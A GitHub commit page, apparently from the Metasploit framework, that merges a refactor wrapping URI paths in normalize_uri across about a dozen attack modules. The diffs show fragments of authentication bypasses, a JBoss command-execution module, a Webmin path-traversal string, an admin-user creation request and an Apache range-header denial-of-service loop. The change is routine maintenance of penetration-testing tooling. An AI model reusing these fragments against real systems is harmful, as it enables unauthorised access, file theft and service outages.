Skip to content

Commit 33751c7

Browse files
committed
Merges and resolves CJR's normalize_uri fixes
Merge remote-tracking branch 'ChrisJohnRiley/set_normalize_uri_on_modules' into set_normalize_uri_on_modules Note that this trips all kinds of msftidy warnings, but that's for another day. Conflicts: modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb modules/exploits/windows/http/xampp_webdav_upload_php.rb
2 parents 986435c + 9412060 commit 33751c7

File tree

178 files changed

+413
-425
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

178 files changed

+413
-425
lines changed

modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,8 +74,9 @@ def run_host(ip)
7474
print_status("Issuing password change request for: " + datastore['USERNAME'])
7575

7676
begin
77+
uri = normalize_uri(target_uri.path)
7778
res = send_request_cgi({
78-
'uri' => target_uri.path,
79+
'uri' => uri,
7980
'method' => 'POST',
8081
'data' => data,
8182
'headers' =>

modules/auxiliary/admin/http/contentkeeper_fileaccess.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def run_host(ip)
4343
res = send_request_raw(
4444
{
4545
'method' => 'POST',
46-
'uri' => datastore['URL'] + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
46+
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
4747
}, 25)
4848

4949
if (res and res.code == 500)

modules/auxiliary/admin/http/iis_auth_bypass.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def initialize(info = {})
4343

4444

4545
def has_auth
46-
uri = target_uri.path
46+
uri = normalize_uri(target_uri.path)
4747
uri << '/' if uri[-1, 1] != '/'
4848

4949
res = send_request_cgi({
@@ -56,7 +56,7 @@ def has_auth
5656
end
5757

5858
def try_auth
59-
uri = target_uri.path
59+
uri = normalize_uri(target_uri.path)
6060
uri << '/' if uri[-1, 1] != '/'
6161
uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}"
6262

modules/auxiliary/admin/http/intersil_pass_reset.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ def run
7373
@peer = "#{rhost}:#{rport}"
7474
return if check != Exploit::CheckCode::Vulnerable
7575

76-
uri = target_uri.path
76+
uri = normalize_uri(target_uri.path)
7777
uri << '/' if uri[-1,1] != '/'
7878

7979
res = send_request_cgi({

modules/auxiliary/admin/http/jboss_seam_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def initialize(info = {})
4242
end
4343

4444
def run
45-
jbr = datastore['JBOSS_ROOT']
45+
jbr = normalize_uri(datastore['JBOSS_ROOT'])
4646
cmd_enc = ""
4747
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
4848

modules/auxiliary/admin/http/scrutinizer_add_user.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,9 +45,10 @@ def initialize(info = {})
4545
end
4646

4747
def run
48+
uri = normalize_uri(target_uri.path)
4849
res = send_request_cgi({
4950
'method' => 'POST',
50-
'uri' => target_uri.path,
51+
'uri' => uri,
5152
'vars_post' => {
5253
'tool' => 'userprefs',
5354
'newUser' => datastore['USERNAME'],

modules/auxiliary/admin/http/typo3_sa_2009_001.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@ def run
6363
# Null byte fixed in PHP 5.3.4
6464
#
6565

66+
uri = normalize_uri(datastore['URI'])
6667
case datastore['RFILE']
6768
when nil
6869
# Nothing
@@ -95,8 +96,7 @@ def run
9596
juhash = Digest::MD5.hexdigest(juarray)
9697
juhash = juhash[0..9] # shortMD5 value for use as juhash
9798

98-
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
99-
file_uri = file_uri.sub("//", "/") # Prevent double // from appearing in uri
99+
file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
100100
vprint_status("Checking Encryption Key [#{i}/1000]: #{final}")
101101

102102
begin

modules/auxiliary/admin/tikiwiki/tikidblib.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,8 @@ def initialize(info = {})
4747
def run
4848
print_status("Establishing a connection to the target...")
4949

50-
rpath = datastore['URI'] + "/tiki-lastchanges.php?days=1&offset=0&sort_mode="
50+
uri = normalize_uri(datastore['URI'])
51+
rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode="
5152

5253
res = send_request_raw({
5354
'uri' => rpath,

modules/auxiliary/admin/webmin/file_disclosure.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,8 @@ def initialize(info = {})
6565
def run
6666
print_status("Attempting to retrieve #{datastore['RPATH']}...")
6767

68-
uri = Rex::Text.uri_encode(datastore['DIR']) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
68+
dir = normalize_uri(datastore['DIR'])
69+
uri = Rex::Text.uri_encode(dir) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
6970

7071
res = send_request_raw({
7172
'uri' => uri,

modules/auxiliary/dos/http/apache_range_dos.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
end
4646

4747
def run
48-
uri = datastore['URI']
48+
uri = normalize_uri(datastore['URI'])
4949
ranges = ''
5050
for i in (0..1299) do
5151
ranges += ",5-" + i.to_s

0 commit comments

Comments
 (0)